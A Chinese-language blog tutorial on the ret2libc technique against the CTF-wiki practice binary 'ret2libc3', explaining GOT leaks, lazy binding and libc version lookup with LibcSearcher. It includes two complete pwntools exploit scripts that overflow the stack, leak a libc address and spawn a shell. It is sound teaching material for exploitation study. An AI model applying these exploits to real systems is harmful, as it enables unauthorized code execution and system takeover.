栈溢出入门07 ret2libc3&Hijack GOT

ret2libc思路ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址。
这里为什么不能跳转到got表呢?
    plt表里面的地址对应的指令
    got表里面的地址对应的是地址
    而返回地址必须保存一段有效的汇编指令,因此必须用plt表。

ret2libc通常可以分为下面这几类:
    程序中自身就含有system函数和"/bin/sh"字符串
    程序中自身就有system函数,但是没有"/bin/sh"字符串
    程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
    程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含了这些的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个.

LibcSearcher:

安装方式pip install LibcSearcher (这个我没试过)

我是去github上搜LibcSearcher-ng这个项目才行,这是一个在线使用的库,原来中文互联网上用的那个LibcSearcher的项目大概500M已经很久不更新了,统一用现在的这个带-ng的项目就是了。

这个项目的可以帮助你找到符合你给出地址的的libc版本。

checksec + IDA

1 [*] '/mnt/hgfs/ubuntu_share/pwn/wiki/ret2libc3'
2     Arch:     i386-32-little
3     RELRO:    Partial RELRO
4     Stack:    No canary found
5     NX:       NX enabled
6     PIE:      No PIE (0x8048000)

 发现依旧是栈溢出
但是并没有查找到system函数

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d ret2libc3 | grep 'plt'
 8048415:    e8 56 00 00 00           call   8048470 <__gmon_start__@plt>
Disassembly of section .plt:
08048420 <printf@plt-0x10>:
08048430 <printf@plt>:
08048440 <gets@plt>:
08048450 <time@plt>:
08048460 <puts@plt>:
08048470 <__gmon_start__@plt>:
08048480 <srand@plt>:
08048490 <__libc_start_main@plt>:
080484a0 <setvbuf@plt>:
080484b0 <rand@plt>:
080484c0 <__isoc99_scanf@plt>:

/bin/sh字符串也没有

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary ret2libc3 --string "/bin/sh"
Strings information
============================================================

但是在plt表中发现了puts函数。

首先有NX就不能注入shellcode了,又没后门函数,只能试试ret2libc。

没有 system 也没有 /bin/sh,需要使用 libc 中的 system 和 /bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的 libc。在某个确定的libc中各个函数之间的偏移是不变的,而且程序加载libc的时候最低的12位地址也是不变的,从而我们可以知道libc的版本,进而确定其他函数的地址。我们泄露GOT表函数地址的方法有个名字叫:Hijack GOT

libc的延迟绑定

动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现 延迟绑定 是通过 PLT ,原先 GOT 中存放着全局变量和函数调用,现在把他拆成另个部分 .got .got.plt,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。

简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。

获得 libc 的某个函数的地址通常采用的方法是:通过 got 表泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数的地址。

注:星盟安全给出的是泄露__libc_start_main_的地址,但是用LibcSearcher搜出来10个动态库都不对,当一个函数搜出来不对时我们可以尝试使用另一个函数puts,我在kali 2024.2年的那个版本里用puts就成功了。

 

栈溢出后先返回到puts函数处输出puts函数的地址,然后put完成后仍然需要再次返回main函数(实际上返回start函数更好,偏移值不会变),以便我们再次进行栈溢出。同时我们利用刚才输出的puts的真实地址用LibcSearcher搜索出使用 的libc版本。

根据第一步得到到libc版本,我们可以得到出system函数的偏移和“/bin/sh”的偏移,以及puts函数的偏移,进而计算出加载libc的基地址,再进而计算处system函数与“/bin/sh”的地址。由于第一步puts函数执行完后会再次返回main函数我们可以进行第二次溢出,又计算出了所需的地址我们可以构造payload

总结一下:先泄露got表,并且泄露后再次返回main----->寻找到libc版本,计算所需地址------->第二次溢出------>getshell

exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter(b"!?",payload1)
puts_addr=u32(p.recv(4))

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")

payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)

p.sendlineafter(b"!?",payload2)
p.interactive()

刚才在libc.rip网站上查了一下,仅仅查询__libc_start_main函数的时候查出的前十个结果都不能用。推测这个坑爹网站和LibcSearcher一样只给出前10个可能的结果,需要多个地址查询缩小范围。

加上puts的地址查询后结果就大幅缩减了---仅有4个待选

如果已经确认了某个libc库我们可以直接读取里边的相对偏移地址。以下是从IDA里读取出的相对偏移量

 

 

有了上边的偏移量我们就可以不使用LibcSearcher了直接上exp:

#!/usr/bin/env python
from pwn import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
####if you know the libc version,you can use the preciso address offset instend of LibcSearcher
libc_start_main_offset = 0x23CA0
system_offset = 0x4DD50
str_binsh_offset = 0x1B9DCD
puts_offset = 0x75080

puts_got=elf.got['puts']
__libc_start_main = elf.got['__libc_start_main']

start_addr = elf.symbols['_start']

#this payload leak puts address
#payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
#this payload leak __libc_start_main address
payload1 = b'A'*112+p32(puts_plt)+p32(start_addr)+p32(__libc_start_main)

p.sendlineafter(b"!?",payload1)

puts_addr=u32(p.recv(4))

print("real address:%#x"%puts_addr)

#libcbase=puts_addr-puts_offset
libcbase=puts_addr-libc_start_main_offset
system_addr=libcbase+system_offset
binsh_addr=libcbase+str_binsh_offset

payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)

p.sendlineafter(b"!?",payload2)
p.interactive()

 

 

 

 

posted @ 2024-07-10 19:01  24K砖家  阅读(213)  评论(0)    收藏  举报